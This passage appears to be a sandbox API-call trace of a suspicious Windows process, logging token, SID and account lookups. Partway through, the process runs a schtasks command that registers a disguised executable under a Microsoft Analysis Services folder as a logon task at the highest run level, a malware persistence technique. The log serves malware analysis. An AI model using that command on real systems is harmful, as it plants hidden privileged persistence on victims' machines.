[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebccb4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0072.562] malloc (_Size=0x18) returned 0xeef60 [0072.562] malloc (_Size=0x18) returned 0xeef20 [0072.562] free (_Block=0xeef00) [0072.562] free (_Block=0xef020) [0072.562] free (_Block=0xeff30) [0072.562] free (_Block=0xeef20) [0072.562] free (_Block=0xeef60) [0072.562] free (_Block=0xef040) [0072.563] free (_Block=0xee240) [0072.563] malloc (_Size=0x48) returned 0xed270 [0072.563] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0072.568] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0072.569] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0072.569] malloc (_Size=0x18) returned 0xef040 [0072.569] CreateEnvironmentBlock () returned 0x1 [0072.586] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0072.586] malloc (_Size=0x18) returned 0xeef60 [0072.586] CreateProcessAsUserW (in: hToken=0x2e0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"countryyou\" /sc ONLOGON /tr \"'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"countryyou\" /sc ONLOGON /tr \"'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xff4, dwThreadId=0xff8)) returned 1 [0072.591] CloseHandle (hObject=0x2f8) returned 1 [0072.591] CloseHandle (hObject=0x2fc) returned 1 [0072.591] free (_Block=0xeef60) [0072.591] DestroyEnvironmentBlock () returned 0x1 [0072.591] malloc (_Size=0x48) returned 0xed2c0 [0072.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x543bcb40, dwHighDateTime=0x1d9eb0c)) [0072.591] SetEvent (hEvent=0x1f0) returned 1 [0072.591] CloseHandle (hObject=0x2d4) returned 1 [0072.592] CloseHandle (hObject=0x2e0) returned 1 [0072.686] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0072.686] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0072.686] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0073.278] SetLastError (dwErrCode=0x0) [0073.278] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0073.278] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0073.278] SetLastError (dwErrCode=0x0) [0073.279] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0073.279] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0073.279] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0073.279] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f1f0 [0073.279] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f1f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0073.279] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f1f0 | out: hHeap=0x2e0000) returned 1 [0073.280] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0073.281] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0073.281] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0073.281] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0073.282] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0073.282] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0073.282] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0073.284] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0073.284] GetCurrentThread () returned 0xfffffffffffffffe [0073.284] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x238) returned 1 [0073.284] malloc (_Size=0xd8) returned 0xf3750 [0073.284] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0073.284] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0073.285] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0073.285] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0073.285] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0073.285] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0073.285] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0073.285] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0073.285] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0073.286] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0073.286] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0073.286] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0073.286] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0073.286] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0073.286] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0073.286] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0073.287] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0073.287] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0073.287] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0073.287] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0073.287] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0073.287] malloc (_Size=0x18) returned 0xef040 [0073.287] DuplicateTokenEx (in: hExistingToken=0x238, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x248) returned 1 [0073.287] malloc (_Size=0x48) returned 0xed2c0 [0073.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x54a6e920, dwHighDateTime=0x1d9eb0c)) [0073.288] SetEvent (hEvent=0x1f0) returned 1 [0073.288] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0073.288] GetLastError () returned 0x7a [0073.288] malloc (_Size=0x2c) returned 0xee200 [0073.288] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0073.289] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0073.289] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0073.289] malloc (_Size=0x1c) returned 0xeff00 [0073.289] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0073.289] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0073.289] malloc (_Size=0x18) returned 0xef0a0 [0073.289] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0073.289] malloc (_Size=0x18) returned 0xeef60 [0073.289] malloc (_Size=0x18) returned 0xeef20 [0073.289] SysStringLen (param_1="S-1-") returned 0x4 [0073.289] SysStringLen (param_1="5") returned 0x1 [0073.289] memcpy (in: _Dst=0x381358, _Src=0x3812f8, _Size=0xa | out: _Dst=0x381358) returned 0x381358 [0073.289] memcpy (in: _Dst=0x381360, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381360) returned 0x381360 [0073.289] free (_Block=0xef0a0) [0073.289] free (_Block=0xeef60) [0073.289] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0073.289] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0073.289] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0073.289] malloc (_Size=0x18) returned 0xeef60 [0073.289] malloc (_Size=0x18) returned 0xef0a0 [0073.290] SysStringLen (param_1="S-1-5") returned 0x5 [0073.290] SysStringLen (param_1="-") returned 0x1 [0073.290] memcpy (in: _Dst=0x3810e8, _Src=0x381358, _Size=0xc | out: _Dst=0x3810e8) returned 0x3810e8 [0073.290] memcpy (in: _Dst=0x3810f2, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3810f2) returned 0x3810f2 [0073.290] free (_Block=0xeef20) [0073.290] free (_Block=0xeef60) [0073.290] malloc (_Size=0x18) returned 0xeef60 [0073.290] malloc (_Size=0x18) returned 0xeef20 [0073.290] SysStringLen (param_1="S-1-5-") returned 0x6 [0073.290] SysStringLen (param_1="21") returned 0x2 [0073.290] memcpy (in: _Dst=0x3812f8, _Src=0x3810e8, _Size=0xe | out: _Dst=0x3812f8) returned 0x3812f8 [0073.290] memcpy (in: _Dst=0x381304, _Src=0x381358, _Size=0x6 | out: _Dst=0x381304) returned 0x381304 [0073.290] free (_Block=0xef0a0) [0073.290] free (_Block=0xeef60) [0073.290] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0073.290] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0073.290] malloc (_Size=0x18) returned 0xeef60 [0073.290] malloc (_Size=0x18) returned 0xef0a0 [0073.290] SysStringLen (param_1="S-1-5-21") returned 0x8 [0073.290] SysStringLen (param_1="-") returned 0x1 [0073.290] memcpy (in: _Dst=0x381358, _Src=0x3812f8, _Size=0x12 | out: _Dst=0x381358) returned 0x381358 [0073.290] memcpy (in: _Dst=0x381368, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381368) returned 0x381368 [0073.290] free (_Block=0xeef20) [0073.290] free (_Block=0xeef60) [0073.291] malloc (_Size=0x18) returned 0xeef60 [0073.291] malloc (_Size=0x18) returned 0xeef20 [0073.291] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0073.291] SysStringLen (param_1="4219442223") returned 0xa [0073.291] memcpy (in: _Dst=0x338368, _Src=0x381358, _Size=0x14 | out: _Dst=0x338368) returned 0x338368 [0073.291] memcpy (in: _Dst=0x33837a, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x33837a) returned 0x33837a [0073.291] free (_Block=0xef0a0) [0073.291] free (_Block=0xeef60) [0073.291] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0073.291] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0073.291] malloc (_Size=0x18) returned 0xeef60 [0073.291] malloc (_Size=0x18) returned 0xef0a0 [0073.291] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0073.291] SysStringLen (param_1="-") returned 0x1 [0073.291] memcpy (in: _Dst=0x3382c8, _Src=0x338368, _Size=0x28 | out: _Dst=0x3382c8) returned 0x3382c8 [0073.291] memcpy (in: _Dst=0x3382ee, _Src=0x381358, _Size=0x4 | out: _Dst=0x3382ee) returned 0x3382ee [0073.291] free (_Block=0xeef20) [0073.291] free (_Block=0xeef60) [0073.291] malloc (_Size=0x18) returned 0xeef60 [0073.291] malloc (_Size=0x18) returned 0xeef20 [0073.291] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0073.291] SysStringLen (param_1="4223814209") returned 0xa [0073.292] memcpy (in: _Dst=0x34d958, _Src=0x3382c8, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0073.292] memcpy (in: _Dst=0x34d980, _Src=0x381358, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0073.292] free (_Block=0xef0a0) [0073.292] free (_Block=0xeef60) [0073.292] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0073.292] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0073.292] malloc (_Size=0x18) returned 0xeef60 [0073.292] malloc (_Size=0x18) returned 0xef0a0 [0073.292] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0073.292] SysStringLen (param_1="-") returned 0x1 [0073.292] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x3e | out: _Dst=0x327668) returned 0x327668 [0073.292] memcpy (in: _Dst=0x3276a4, _Src=0x381358, _Size=0x4 | out: _Dst=0x3276a4) returned 0x3276a4 [0073.292] free (_Block=0xeef20) [0073.292] free (_Block=0xeef60) [0073.292] malloc (_Size=0x18) returned 0xeef60 [0073.292] malloc (_Size=0x18) returned 0xeef20 [0073.292] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0073.292] SysStringLen (param_1="3835049652") returned 0xa [0073.292] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0073.292] memcpy (in: _Dst=0x34d996, _Src=0x381358, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0073.292] free (_Block=0xef0a0) [0073.292] free (_Block=0xeef60) [0073.292] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0073.292] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0073.293] malloc (_Size=0x18) returned 0xeef60 [0073.293] malloc (_Size=0x18) returned 0xef0a0 [0073.293] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0073.293] SysStringLen (param_1="-") returned 0x1 [0073.293] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x54 | out: _Dst=0x327668) returned 0x327668 [0073.293] memcpy (in: _Dst=0x3276ba, _Src=0x381358, _Size=0x4 | out: _Dst=0x3276ba) returned 0x3276ba [0073.293] free (_Block=0xeef20) [0073.293] free (_Block=0xeef60) [0073.293] malloc (_Size=0x18) returned 0xeef60 [0073.293] malloc (_Size=0x18) returned 0xeef20 [0073.293] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0073.293] SysStringLen (param_1="1000") returned 0x4 [0073.293] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0073.293] memcpy (in: _Dst=0x34d9ac, _Src=0x381358, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0073.293] free (_Block=0xef0a0) [0073.293] free (_Block=0xeef60) [0073.293] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0073.293] malloc (_Size=0x5e) returned 0xf0800 [0073.293] free (_Block=0xeef20) [0073.293] malloc (_Size=0x18) returned 0xeef20 [0073.294] free (_Block=0xf0800) [0073.294] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0073.295] GetLastError () returned 0x7a [0073.295] malloc (_Size=0x14) returned 0xeef60 [0073.295] malloc (_Size=0x16) returned 0xef0a0 [0073.295] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebcca4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0073.296] malloc (_Size=0x18) returned 0xef020 [0073.296] malloc (_Size=0x18) returned 0xeef00 [0073.296] free (_Block=0xeef60) [0073.296] free (_Block=0xef0a0) [0073.296] free (_Block=0xeff00) [0073.296] free (_Block=0xeef00) [0073.296] free (_Block=0xef020) [0073.296] free (_Block=0xeef20) [0073.296] free (_Block=0xee200) [0073.297] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0073.297] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0073.297] GetLastError () returned 0x7a [0073.297] malloc (_Size=0x2c) returned 0xee240 [0073.297] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0073.297] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0073.297] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0073.297] malloc (_Size=0x1c) returned 0xeff00 [0073.297] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0073.297] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0073.297] malloc (_Size=0x18) returned 0xeef20 [0073.297] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0073.297] malloc (_Size=0x18) returned 0xef020 [0073.298] malloc (_Size=0x18) returned 0xeef00 [0073.298] SysStringLen (param_1="S-1-") returned 0x4 [0073.298] SysStringLen (param_1="5") returned 0x1 [0073.298] memcpy (in: _Dst=0x3812f8, _Src=0x3810e8, _Size=0xa | out: _Dst=0x3812f8) returned 0x3812f8 [0073.298] memcpy (in: _Dst=0x381300, _Src=0x381358, _Size=0x4 | out: _Dst=0x381300) returned 0x381300 [0073.298] free (_Block=0xeef20) [0073.298] free (_Block=0xef020) [0073.298] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0073.298] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0073.298] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0073.298] malloc (_Size=0x18) returned 0xef020 [0073.298] malloc (_Size=0x18) returned 0xeef20 [0073.298] SysStringLen (param_1="S-1-5") returned 0x5 [0073.298] SysStringLen (param_1="-") returned 0x1 [0073.298] memcpy (in: _Dst=0x381358, _Src=0x3812f8, _Size=0xc | out: _Dst=0x381358) returned 0x381358 [0073.298] memcpy (in: _Dst=0x381362, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381362) returned 0x381362 [0073.298] free (_Block=0xeef00) [0073.298] free (_Block=0xef020) [0073.298] malloc (_Size=0x18) returned 0xef020 [0073.298] malloc (_Size=0x18) returned 0xeef00 [0073.298] SysStringLen (param_1="S-1-5-") returned 0x6 [0073.298] SysStringLen (param_1="21") returned 0x2 [0073.298] memcpy (in: _Dst=0x3810e8, _Src=0x381358, _Size=0xe | out: _Dst=0x3810e8) returned 0x3810e8 [0073.299] memcpy (in: _Dst=0x3810f4, _Src=0x3812f8, _Size=0x6 | out: _Dst=0x3810f4) returned 0x3810f4 [0073.299] free (_Block=0xeef20) [0073.299] free (_Block=0xef020) [0073.299] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0073.299] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0073.299] malloc (_Size=0x18) returned 0xef020 [0073.299] malloc (_Size=0x18) returned 0xeef20 [0073.299] SysStringLen (param_1="S-1-5-21") returned 0x8 [0073.299] SysStringLen (param_1="-") returned 0x1 [0073.299] memcpy (in: _Dst=0x3812f8, _Src=0x3810e8, _Size=0x12 | out: _Dst=0x3812f8) returned 0x3812f8 [0073.299] memcpy (in: _Dst=0x381308, _Src=0x381358, _Size=0x4 | out: _Dst=0x381308) returned 0x381308 [0073.299] free (_Block=0xeef00) [0073.299] free (_Block=0xef020) [0073.299] malloc (_Size=0x18) returned 0xef020 [0073.299] malloc (_Size=0x18) returned 0xeef00 [0073.299] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0073.299] SysStringLen (param_1="4219442223") returned 0xa [0073.299] memcpy (in: _Dst=0x338368, _Src=0x3812f8, _Size=0x14 | out: _Dst=0x338368) returned 0x338368 [0073.299] memcpy (in: _Dst=0x33837a, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x33837a) returned 0x33837a [0073.299] free (_Block=0xeef20) [0073.299] free (_Block=0xef020) [0073.300] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0073.300] _ultow (in: _Dest=0xfbc24a41, 